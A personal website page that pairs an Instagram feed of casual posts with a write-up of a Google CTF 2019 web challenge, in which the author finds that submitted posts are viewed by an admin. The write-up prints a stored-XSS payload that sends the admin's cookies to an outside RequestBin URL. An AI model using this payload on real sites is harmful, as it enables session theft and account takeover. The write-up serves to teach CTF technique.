Follow me on Instagram
Never got bored of this Never got bored of this

Never got bored of this ...

18 2
Now that we can't go into Malaysia, I'm really cra Now that we can't go into Malaysia, I'm really craving this...

Now that we can't go into Malaysia, I'm really craving this... ...

9 9
Someone reminded me that I don't need many friends Someone reminded me that I don't need many friends. I just need a few good brothers that'll go out of their comfort zone just for you.

Someone reminded me that I don't need many friends. I just need a few good brothers that'll go out of their comfort zone just for you. ...

13 11
Rediscovering my music with the Creative Outlier G Rediscovering my music with the Creative Outlier Gold w/ software Super X-FI #maya329

Rediscovering my music with the Creative Outlier Gold w/ software Super X-FI #maya329 ...

6 0
Did anyone say pins? #maya329 Did anyone say pins? #maya329

Did anyone say pins? #maya329 ...

11 4
New team? New team?

New team? ...

6 0
When you're out of games to play, you break out th When you're out of games to play, you break out the Jenga and up the stakes.

When you're out of games to play, you break out the Jenga and up the stakes. ...

15 4
We gon be back real soon. Heads up! Search for us We gon be back real soon. Heads up! Search for us on Spotify! #theprinsepcrew

We gon be back real soon. Heads up! Search for us on Spotify! #theprinsepcrew ...

18 2
There's still empty spaces... There's still empty spaces...

There's still empty spaces... ...

13 5
... ...

... ...

38 4
Reality is but illusion. Stickers now available! L Reality is but illusion. Stickers now available! Link in bio! #maya329

Reality is but illusion. Stickers now available! Link in bio! #maya329 ...

13 2
It's been awhile but I felt like I should be honin It's been awhile but I felt like I should be honing my writing skills once more. I'm starting to do writeups on CTF events. You can find them under blog > GCTF 2019 Writeups. Link in bio.

It's been awhile but I felt like I should be honing my writing skills once more. I'm starting to do writeups on CTF events. You can find them under blog > GCTF 2019 Writeups. Link in bio. ...

8 1
It's finally ready. Link in bio. It's finally ready. Link in bio.

It's finally ready. Link in bio. ...

5 0
Together, let me hear you say "Throat Fk'd"! Together, let me hear you say "Throat Fk'd"!

Together, let me hear you say "Throat Fk'd"! ...

13 1
什麼情況,現在? 什麼情況,現在?

什麼情況,現在? ...

13 2
Usually people sick receive fruit basket, suppleme Usually people sick receive fruit basket, supplements, etc. I sick, I get Sake. #我不会

Usually people sick receive fruit basket, supplements, etc. I sick, I get Sake. #我不会 ...

30 1
She had a cocktail in her hand and ribbon in her h She had a cocktail in her hand and ribbon in her hair 🍸🎉

She had a cocktail in her hand and ribbon in her hair 🍸🎉 ...

15 1
Natural habitat. I forgot how fun this was. Natural habitat. I forgot how fun this was.

Natural habitat. I forgot how fun this was. ...

18 1
Happiness is not having to set the alarm for the n Happiness is not having to set the alarm for the next morning. Happy Saturday!😄

Happiness is not having to set the alarm for the next morning. Happy Saturday!😄 ...

16 2
I finally made it all the way to Friday to find ou I finally made it all the way to Friday to find out that I have to work on Saturday!🙍

I finally made it all the way to Friday to find out that I have to work on Saturday!🙍 ...

14 3
Back to Top
Image Alt

Google CTF 2019 // #04-1 Government Agriculture Network

Writeup Series

Google CTF 2019 // #04-1 Government Agriculture Network

Well it seems someone can’t keep their work life and their home life separate. You vaguely recall on your home planet, posters put up everywhere that said “Loose Zips sink large commercial properties with a responsibility to the shareholders.” You wonder if there is a similar concept here.

 

Using the credentials to access this so-called Agricultural network, you realize that SarahH was just hired as a vendor or contract worker and given access that was equivalent. You can only assume that Vendor/Contractor is the highest possible rank bestowed upon only the most revered and well regarded individuals of the land and expect information and access to flow like the Xenovian acid streams you used to bathe in as a child.

 

The portal picture displays that small very attractive individual whom you instantly form a bond with, despite not knowing. You must meet this entity! Converse and convince them you’re meant to be! After a brief amount of time the picture shifts into a biped presumably ingesting this creature! HOW DARE THEY. You have to save them, you have to stop this from happening. Get more information about this Gubberment thing and stop this atrocity.

 

You need to get in closer to save them – you beat on the window, but you need access to the cauliflower’s host to rescue it.

 

https://govagriculture.web.ctfcompetition.com/

The URL above leads us to a Ministry of Agriculture page where we can post anything, to be reviewed by the administrator. Nothing else is clickable so we focus on the form.

Inspecting the form yielded no results, same for cookies.

Next step is to use a honeytoken. I made use of Canarytokens to generate a quick web bug and embedding the image URL generated into the form for submission.

<img src="http://canarytokens.com/images/<generated-quote>/index.html"/>

Right after submitting the post, I got an email from canarytoken telling me the image was loaded. This means something or someone is looking at the submitted post. Next logical action is to try to steal the cookie of whatever or whoever is the admin.

Using RequestBin, we can easily write a javascript that appends the cookies of the admin.

 <script> document.location='http://requestbin.net/r/YOUR_BIN?c=' + document.cookie; </script>

When the admin look at the post, this code will automatically send the entire cookie of the admin to our requestbin.

And sure enough, there’s our flag.

Post a Comment